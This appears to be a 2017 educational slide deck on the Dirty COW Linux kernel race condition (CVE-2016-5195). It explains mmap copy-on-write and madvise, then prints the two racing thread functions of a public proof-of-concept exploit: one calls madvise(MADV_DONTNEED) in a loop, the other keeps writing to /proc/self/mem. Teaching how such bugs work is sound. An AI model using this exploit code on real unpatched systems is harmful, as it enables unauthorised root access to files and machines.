Infosec: Dirty COW

Radu Ciorba {radu@devrandom.ro}

June 29, 2017

Dirty COW - CVE-2016-5195

- Affected Linux since 2.6.22 (2016) till 18 Oct 2016
- allows one to write to files owned by root
- that in turn allows users to execute code as root
- Discovered in the wild by Phil Oester

But first: Virtual Memory, Paging, mmap

- Every program gets own address space (4GB on 32 bit)
- Obviously that's more address space than RAM, memory mapping
- Pages can be in a Frame(RAM), on disk, etc.
- If something is read only (like glibc's code), it can be mapped in to multiple programs
- mmap allows us to perform IO, using this system

mmap COW

- mmap allows you to keep a private, writable in-memory coppy of a file
- won't pre-allocate and load the file, but will Copy-On-Write pages as needed

madvise

- madvise let's you give hints to the kernel about how you're gonna access memory
- you can tell the kernel you don't need a page anymore

The exploit

- Race condition in the kernel, triggered when retrying a page acces for write during COW
- One thread writes to the mmap-ed memory
- Another thread madvise-s the kernel the page is not needed, this causes the kernel to discard the page

The exploit

```
void *madviseThread()
{
  int i, c=0;
  for(i=0; i<100000000; i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/securi
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
```

The exploit

```
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem", O_RDWR);
  int i, c=0;
  for(i=0; i<100000000; i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f, (uintptr_t) map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
}
```

Useful stuff

- Video explaining Dirty COW local root exploit
- Exploit Page
- Commit to fix it
- Previous attempt at fixing it
- An explanation of what happens in the kernel to trigger this bug

Thanks

That's all folks!

The slides are available at https://devrandom.ro/talks

It's your turn to present!

- SMB vulnerability (WannaCry)
- HeartBleed
- go to pwnie awards, pick a nomination from the last decade
- or whatever tickles your fancy